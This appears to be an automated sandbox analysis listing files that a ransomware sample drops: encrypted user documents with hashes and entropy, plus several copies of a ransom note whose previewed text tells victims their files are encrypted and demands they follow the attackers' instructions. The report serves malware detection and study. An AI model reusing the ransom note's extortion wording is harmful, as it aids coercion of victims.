                                                                                Preview: ..n..9..v\..~..W.....O..2.4<k..............3..R..p2.y~...Oy.c.QI...h-.../i)...>.mDw.p.6..r...',Y....pBx.`...A....l.O....3#.....3.e..c'K..Mn......N......l..F.M..n..Z.{[..|...........Es..[....0a.[..c..v..C..(&j..wJ...g7.0L.\+....U7!../...o+H...D5cpUt...>L@y......q.L...z..2.n ..l...O w.]..*...a....zqr.Q.J.....H4..............m/..DZ.b.>}.r.eg..$!_.s_.Y....e........Y.g.dh.<Y9Qw.#..~..9{......H].&...[3....S.t...2H"....k.|l....\..lW.>..a..I?.?b.,a..s......Dk...E..e.......r.Y..L7..XE......(.HA..U.....Q?...4P...".s...%....A...K0...-...S.....$&.Z..VQ.........?Mc~f.'.Z...fo.C7....c.......]c3de.u...A.......I:..`.......D.....G.....z.[=:....$ZS.S?..~.:...._2...n\4ki......C.r.'.XNl<....L.S.lA.....'.7.................;.]7>....x.a/.^ 0..s...Rd.!.P8\.9R`..g.h.m...d.j.3u.M..?tH..'..R.w.jBah....y[4...5..:.W...p.....pW.wBl.v...j#.....A......S.P..D2C$.RU0W......sh./R.E.......9.AT..P.*...J.......V10.Y..V=....A.....e.$b..V.U..b..S...t{........>..[j...Io.....&7t..g.....
                                                                                C:\Users\user\Desktop\BNAGMGSPLO\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Desktop\BNAGMGSPLO\BJZFPPWAPT.pdf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.819070616357344
                                                                                Encrypted:false
                                                                                SSDEEP:24:RLhY+90tn9aTZcAIyndDxe2/VmFxNKLpp6RrTfu/AKE:974KrI8n/8LMpp6ZTfu/AKE
                                                                                MD5:F1AD036E3FE24295E37AB1144FEBC5C6
                                                                                SHA1:95BDBAB6CD739E63E459AC7DF77DCADF105F4749
                                                                                SHA-256:9B8D3F7CDB9EDC1D36D069E7384972F1B94D08EF2870232F8423A7048E2D5125
                                                                                SHA-512:1201FA9783E911B4AD8FF17283394935C71DAE35F023BFC3D545D0FEFCA1110FE4E8D4BF10CF71F3CE2BE828E0F40987B8B72ECC623B52195CB1FD515216C962
                                                                                Malicious:false
                                                                                Preview: A.i...PvI....K.b8.=K8<.-.}5..{a...c....9A..E...v.w...u.}.F!u...g...{eI.....i....u.._.mu..c...c..+&.~{....Q..mT..;...5.dc3@...#.h...[DA..U...&.+[Nn..sv.v..Q......F.........Ut.b]...l|.v..G...s........l'.\..!!.t....:C.I4.\&...o.:.[B....a^O.....8.h...63.g....sQ.*....r.u...!6..v:v0P}!e.N...m...J.7....`/v..b..;.u..8.Z.....a.D....X.............y..........P....v.:..3..[.vw.u. .b.a..$.{rI.......=.b.,...u&M~.u.4O.O.....1t....[.P{..U.Y...'._.i.]...o...j.^w.7p. N.....j$....D..W..g.i}9x.d.RX....s.V..+:....g................3.}."..E........]...\S...8I.t...X......N..bg...Y.......p.5b....8a..;.^.2*..\.g.=<N.(....EJ.-...83R..>u..L...}ge.$*.....rz.... 2..$...+............8....^.X...k.+...g...4h.(ze....x.UO.R.~.O/._m.........Nn..Z.LX.O.....a.Y.\)a.d{.I0{z.o..3...]^......L...V..hE..D..?I..5*.'......J.r.................._......U..I.....v.v...pP5..w|.I/,...=8.aF;.x..|U....c.#..P.V,@/&(m....f.../h.).T'U.W..z.h.....6.(uk..M.I...iqWR..8....]....n.u..1.B.w}pV
                                                                                C:\Users\user\Desktop\BNAGMGSPLO\BNAGMGSPLO.docx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.859966638760086
                                                                                Encrypted:false
                                                                                SSDEEP:24:ZBSF05Maqk6AhDBaXAhOYk6qZidoyseDH21up4NjArTfu/AYO+T2:ZBSVJItYC7doyHDjp4ViTfu/AYOV
                                                                                MD5:DECC6D8E185C676C3DE9FD1701AF1E56
                                                                                SHA1:7E2395D7C210264B53128F494F290D87CAF0E6D3
                                                                                SHA-256:965F626AA6700D8303A0A81333A1B11FE9224E33D6CD36032B085C29FDDD2ED6
                                                                                SHA-512:CEE35B52D71F74C37AC7F00C85962669982F35D1CC4C26070E5579FE39EE4A186E4E1B9F2FCBFBD15D942855E82572DB771A2F10E65BB85D52EF2E9020DEDCA0
                                                                                Malicious:false
                                                                                Preview: .Q..F..J.e...R4N.q..R..Gj.y..RE.T..t ..|.`.....O..L..@T....}.If2...7..?LC|..0.`....G}F.@!b,..=..F.e(.......S..lN.A..h.T.......b....4as.3....o..S6.6u.B.~f3.)c.i..ji.x.}l...S.%.H..[...U".{g..+.2.jAi.OD=82...`..x.l.....z..M.KI....X..$.......b..?.......H....q..p.{8.i=hDtP@...Xd....T(N...@.....x.6.sw.L..Z..!....22...lQ....P.j.^..h.;...*...(.x(.Q..4n@.#r..D.K}- S..z..j..<,iXb..Nr..*..0?ja... .}...^jgL_.p....$.)(...!+...U.....&')@n...n6........O...{W7.~....o.e.....6......W78.T6.."....5.e .C./..D|[.-L9.I.y_fq....l..kK.0o$C...^Yj...h.M(v......Wh.w=...x......I..{....T@.._..B..V.0l@j..[d.W.Ae.A.yA|m.t-.....BJ :?.2(.......XvM..i........8.mZ.<...._.R.x,.G...I\...f.F.P\Z...8{.|sy.A=u.........&.....6...,.!<......9'._............o~.c.>..n......._J6.Y...6..e....Q.E.........LovK.6/...g&$kD.-..^Fph.vJ.R.....hMV..`..\......;6.....DX./.a...Q...|p.xZdO...d~..'W.....{........}Fx>...8?...%6.....R..._t....$..4.v....B..W7,..KdLi&$?Zc9.G)b...I..+..;+...#.R...v=...6.J
                                                                                C:\Users\user\Desktop\BNAGMGSPLO\EOWRVPQCCS.jpg
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.835157510703518
                                                                                Encrypted:false
                                                                                SSDEEP:24:+o2z72HU7xDY8J2buE5qpInFfQv4eKn3zTGmrTfu/AEJLH6n:+wU1/2x5qpIFfQv4eE3+8Tfu/AEFH6n
                                                                                MD5:82DC68AC44D75D4BCA137BE160DA2A58
                                                                                SHA1:DCAF45AAB472D40FFFA6C87DD703B5BCEB0DAA8D
                                                                                SHA-256:9B4096B3C1164A8A0F43BAEA64BFBC38625C9A5803ED76373E8EA9D23D59299E
                                                                                SHA-512:44806567F2DB5D20C446C91423B261CC96477EA575B095B3EA7C3A49A0AFD549969D95C5113BD1C6C0C64029DBF1C5669BDF01825DF8CC3ADC91E505F91C6E8D
                                                                                Malicious:true
                                                                                Preview: ...a.$.E.{....7.T.#........2}.7~,d.!J.@......Ve....T.B {.5.k.+t1.q.pX3@O../.$..60>...3.K......t">>.!B."....U....E.S..._..d.'.L.[.^?..A.....+....fF<......H.I.>-#..S..b~.t..=...5K..j.[.'.UQ.._N"...D..D......O+..+H...`w....2d.I.....k...l9.z7..[QB.+..}.Pa.l.l....G..0Eju3./.&..#.....-.@Br.....(N.......J...;..S..'..zf..v'.k......4.Q_3.*5.=..Ff@.....D...b.UH.l..........Z.X_..a.c..n......._.(=.o.m."...~.O..D.x.wL<MfnM.H....x..!....E.60...Y7.,..-.liqX....|......;.!&.ZI....R.,..1L..Iv.]......v..3..`....p.8.........p..2..;.J..T..t*...<..-.d...b..S......u._.D....n.).J!.D@v......\a....0:.F.w.2^......O..lU..m:8.........n...|..h...9.\z........_..........C.0..ET$...].0O..".e....\6....K.81.y.............j5..S.z...;.....TE.R....5@N..>9...[.F..0..O..9>..|>%w.....0:.. ......t....@..qQt...Yv.8.....p ".n".hU..$9PC.|1"..+ .Ou.o..j3.E.V...4.3-..[d.y..7..-..FYl;..c....k.cIm.r.`:.$O*aD~...2.:.5X....RnELY2|.WF|].5...Qh(.g`J.A.3A3].Z..2;5.QL
                                                                                C:\Users\user\Desktop\BNAGMGSPLO\EWZCVGNOWT.png
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:DOS executable (COM, 0x8C-variant)
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.823080035319058
                                                                                Encrypted:false
                                                                                SSDEEP:24:ZHQYkqWLcqs/Jj/yMvzdryNAanjX1pnWjm1tQ39Dk8B6IpzvMz8rErTfu/ANLk:ZHzkqW0/Jj/yMvzolnD1pnkCm39Ibvcr
                                                                                MD5:51294757D336E3AEA3147F15171220A0
                                                                                SHA1:95B3FDD2FFB89E23FDC3D07B788FBA0D3B8CBADC
                                                                                SHA-256:7D6A9F4E79586A2F7673E4B4A8E0E42B9FE36419391294531E93761CC6DEE755
                                                                                SHA-512:CAD0787F946E6CBA96D126DEF58A0866233891BD609A720E4379AD04F5E7AC3BA94E1A00AF7C3ABF3AD6D44CEB39DDACA5CC09E81535CBD9FEC4B119A5D9C15F
                                                                                Malicious:false
                                                                                Preview: .....&.b...F...t.&..s%.M!%\..*.B.;.......s.j.....}A.!.'.+ma\q.l<.{..|.."...X.lm'.y...E.U.=f......[u"..2.p.lr:..u...._...]'J.8t..!l...4.(&..,.ZvG>.y.n.i.2.....4..Q...x...........2 (.;..i.`U..Os.0.h..O..d.G..v..Y...r.FW..,.O^.0.._..u...RK...s....;...O..*.*..J-[.$.`..\.9....v.....].........k..N.;u.~.].G.2X.r!...2.......7....n.......#..Q...|...<.&.n...H..-......./....!...6.<..[O....'._yO..'.^.$.4.w[.x..2.........b_.Ec..V......S>...2h^......g..27...R...X*..F..]...#q>G....e..F96...F....f.4})..N...s7.....rA?QN.....i..Z~k>....A|.,s.8O|Q....,2..(S.@.Q..j.o....};...Q.`..%I..%.M...c......]X9..vq.bS..l....T.UH.Z....M...]..FY....P......]|.. .!./xV......U.6...3.*b.r.G..l...k}w..Q..<x.y.9..b_.C...E^...0..I]J .\.!~m.\..L%J~r.2....a..*an...f.l.3r+.._]5..j...."4.q.4U.#....2L`.+.l...L....{|.!...V.4Yy.S>..-C+....X/.ij..g.......z.....[.jyZ...;h..4*.qAu.1...#.q7.X....H8...f&...mf..._..O...c...wCe....IkJ..N.....a...(..i".....].....(=.v.G...DX.......7..HwI...1..,....`
                                                                                C:\Users\user\Desktop\BNAGMGSPLO\NVWZAPQSQL.xlsx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.844345395637266
                                                                                Encrypted:false
                                                                                SSDEEP:24:QncxwPluMw8wug7ZS7bSAylJvZkckcHemrTfu/AnFG6m:Q4wPlNwu57bSAylAie8Tfu/AnFs
                                                                                MD5:0194A5E4FF487C2E68D94B3E0F83D6C2
                                                                                SHA1:58E37404A22A89D1AEE49012DE7CE68BDA66CE5E
                                                                                SHA-256:0BE1E9DEFA5D9F0E675944B62BE469FAA385D092A258DFC5F04849964A72CFD2
                                                                                SHA-512:D7788090D7856D5A38D7DAB88FDD23A12B1EFA777AD9BF7AFE6A1A6E07B0349F1490A4FCBEEEEBE181F8CF6615D54CD21E8725A3CF9F04EF15154C4346AB0268
                                                                                Malicious:false
                                                                                Preview: {.*y.....)>.<.......jPf;b..E......q.x.._..".....Qb.+..!..j.u...';}...7......p.q{J.|.c,}{...r.....aJ".t.&..%.1. .Edc.<ujt.,...0..}_.O.v...^...."4..U...-...pl...........O.r..../:............J....{}.(..-..h.<..........r...l..Q......^.4.Xi5/.s.x..+C.!.?*C.Q..2ACLx..>j...].,.*I.... =W..{jktV.7.q..x....oA.j..a.ue..pN,.=.M...ZHd...r ..9....5..._^.O.a./X....R..N.%{.-.x..y..lv.,z.[M.]x&S:.b.'F.E.e.......p.B...m.hY.t......"CE!.Dj.y.B..+.>mx..C.-2y.......g.x.....a.}...8].<......E..>J......7/...|.^.7.0.......y.'[..5....5l.../.2.].....vL.W...Ha,7N..P...1}.*..G`..q.....e.r?;......r%...:...".nY.....-.....Jt.Z...V.2R.m.<-..t.........k..-...l.{Z..PbYd.&._...a...T{......b0..HN.....*I!`...v.y1...O.......9...u.J....i)f...#,..[.t..t.].\v.*.C...P.^i........e)gbvI.r.q.#.3$.S..'.g........%.+..[!....Y........uv.....x..?.&./=kr..fu......K......'B.h._....b^p..V..}L^......7.$.......&.JtT/D./r.4c....zA.+......B.._(...e.........X..!.....#..V......Gm|$$!h..... .r.q.XnI.]...^
                                                                                C:\Users\user\Desktop\BNAGMGSPLO\TQDFJHPUIU.mp3
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.839843756929343
                                                                                Encrypted:false
                                                                                SSDEEP:24:r28rjvysbkrZpfCf+KubDeQZ0M5gydGhQOPnVizrTfu/AaUF:r28HvytDaFuveQKR3nQXTfu/Ah
                                                                                MD5:04470EC02ADE6FD0574BD6686E65FA24
                                                                                SHA1:1F63BB696E0EEAB51480076FB72938FCA349BC97
                                                                                SHA-256:66A6C0AB838942E5F0D266E9BB45AC157D068C611429E80303D9666B63D646A3
                                                                                SHA-512:173A5D0328A22A105AE9ADAD5F54CA83FF251CBEC8066C84887986F1366A77F1377ED4FFEAE6AA327F2470C56EF3924BC4BDE6B50E27CD8DDACDFF24B297ED2D
                                                                                Malicious:false
                                                                                Preview: ..p..........&&.s"..........\.s...$..t&az?.Z........H.-..8.@..C...wA...\...._L.[..R.....h@...+.......4uh..N..@y.*..O.."4.o..6.`Q.....l.OG...,.k.y...6TyJ1.8.fc#\.../a8....8...e...@.d.k.s....j...t3-S.e.v.t..p.'..X.m`gi.......rs.`.9|..X(....z...hQ..F...V>7./~.Iw..../."1.?$....`8...$.7.\aT.N.8.a....9I.h....=.)Gd[....t..O./.s...K.pB......go...|6...|n.....,..{3T=....!.>....$?-.ym.0....s...{W..&.......:.........'...@....T.'e..%.RZ.......,a....d.e..#..A...)..^....?E..V..m.E......l{.:PL...k.......y$.~j.......3@-$'.....nz..y.$g.6't..~p..fc.'.^.Ni.K.es.H6'3..L`.&Dz..$U....'....o...0(.q.f..*G ..|P..<...X...D.+.o\\..qr_w4._.-.y.\-....b.4'.mk..@....I....=....v.=^.ryE.3o3..O(.A.l+.g...9..*.Iw....i.oq..lw..X.U......@f.N.o.......*....r....$.,>..4.j{]"......!?..0pC....6..ej<\.g....]_R.D...:.l.\cY.s.m..m....e.j.L.:..u`kL.o.#....;.Mc..~X.Z. ....W e...-..M/..i....KF4i*m/..wl..+.y.buOJ....Oq.].%.1..t..f..i.d.W*.I....=K.Q.9......&.>$..[.....8rt{z..d......W+Q.N.
                                                                                C:\Users\user\Desktop\CZQKSDDMWR.mp3
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.855554025063716
                                                                                Encrypted:false
                                                                                SSDEEP:24:DSyYxZJYnMUyXIh6s+647s4Uk9Te1uNpbj+rTfu/AHEsN:ejVjXNVMkJjPHkTfu/ABN
                                                                                MD5:D7EDFB1F58D8409F5D884205EDD43325
                                                                                SHA1:37030E3116240E07E3324C95A639ACDBE77D15D3
                                                                                SHA-256:FB3549FBC7A7E291E0D28C18E6A751D2046CEFEC2DB389BB642A8063E3AF4A7C
                                                                                SHA-512:AA5165F9365A7E99C5262C74F35EF73A15433B92800AD34E6F3BBBD32C1099BE565187EFDA020C2B4EF4EFFCCE7BE8BA9B5A49097A630446E338A0F0F371A3A0
                                                                                Malicious:false
                                                                                Preview: .be.,...4..+..i.j.p).]D<..\.|5..%)...MVw..B......T..7u._.....Qq.......iaQsw...$....a=/..3\..j.*..=..`.(..4...|.Q...M...m.G..*........I0...*.}BJ..P....sSP..o#.>...a!i...Ok.......To..%..m.V....l.y...W..).]T.|.P_U.p..Vr9x......9.?%..be.f....d...T`.~..u`d..O...429..)R.p...P<.H.,..b....e...... .......c...:e?*k........J..>..dY{,.6.{s...3n..VB...@.^f..}....M].8.."...'U..U1...c.[.nY..M2...&.Iv.Q.Ne......p....j.uD"..1$.k.."H].....A!..W].....3....a..'".r..........9..H..\.x..a....i..0U.|.........ecq.V.G8.t..:.3.q..y...8.V.....x.1.q..wJTT..ps..y.B...?30./J........$..."MD.....H.M.2.......T.....r :.[........YtEX..K6."..FQ.:&.y......4=*.h._..^.U...<.!...J.;O.....-..Tg...(..e2..o...hKi(c |.0}.W.t\`Z~.>...IN....[/....".B..^..5.x.$;...%..J...../...n..6...r.E}...j.].Ay.j.5..../41....}.}0mnrr.g..a\6..q....JI.;..Q;.x.<.Z.Y.....^.9?sh.m.(..u...W.&...0.[$.&..xM......?c...c%uR.."5..v.0.).Z..k].......*.%t.,.....2o]@...........!.P..U.o.~..Y.......S.C.N...v.!7.J..E
                                                                                C:\Users\user\Desktop\CZQKSDDMWR\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Desktop\EEGWXUHVUG.png
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.855190044015208
                                                                                Encrypted:false
                                                                                SSDEEP:24:qBbZNT7Ve428MiFwgdLr7l776QLxVo/gB1pz1x6hQQnlbe+rTfu/Ak6WF:2bj8mMiFrZVLHmgB1N8QkTfu/ALO
                                                                                MD5:1BE751D31D6B5986D5A5ABF585F0B313
                                                                                SHA1:066C6D4D9A0FC04802DD9C073F85732D6FFB4F3E
                                                                                SHA-256:82362614E606E46C5FE24C99BAC8C3BF2AAF15D1D8B9B7188C64F319DBFD20BD
                                                                                SHA-512:BC4BEF2B26A59E52F8D0936DBC30CD9B5F09E47A0B41466B20B8B5178AAB9CD5B3F4688C8FBFBA4E691F4F934F16D8804753FD7FA7F82E88C25145E3926EB6A7
                                                                                Malicious:false
                                                                                Preview: ...A.q8.?=~?.{.......!..U:..{...6..xN"4...M}......B...-.x.W.z.-...{.dm..k.....4.v_...n.N...Q?..6..V8.>..^..@...C._\..yJ...L.oPP..".P.. .....o8.Z...)..e..N....B[......5`.!..F.....3]..<#..w...BPcX"........}.3....[..m....>.ne......D>.Dm.`.e.9@.8;...}.].....{......;jTc..q.Z.Z....Z.c...~.$....!...x..*.i&A.Z..ZGgZ..1...\O.D*.n.....,.Gn.[..6...I.*uB].Xhe^..J.Gc..cC=.E.....C,..~ ]...9.YT.J..n1/AX.sw...Z...5.C;..T!.6.h.......o..%.1..H.5..A..m{.TQ+....kH....t..+....s..Ed.+.Z..z.-......D]....1....i.....Uc..{......"...k..z.f..R...{...V7k....~_d...n...1#.X..s...d.....1...D./.D......P...S).jp.......p.B..q..|&g...a.Xd.../.].W.....Y...9?0..}21S-C.....R.......x...L&......2.u1+...]C....[t..C..W.....M...P.G...(..{.<..l..X]Z...4!.zA.,..b.%.|......l...+......8...?..q.\.p..........| .UK%.F..@.UV.4....L.......4...V..`...pr..t.Y5.u=&..0lh28..e#..i.-..W.1...4%...t..?m....}...FZ.=uL..-f....,......- .H_H.s....!.Uj.h...t..#\;.i.< .....,..Z."..d.@..*..
                                                                                C:\Users\user\Desktop\EFOYFBOLXA\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Desktop\EIVQSAOTAQ\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
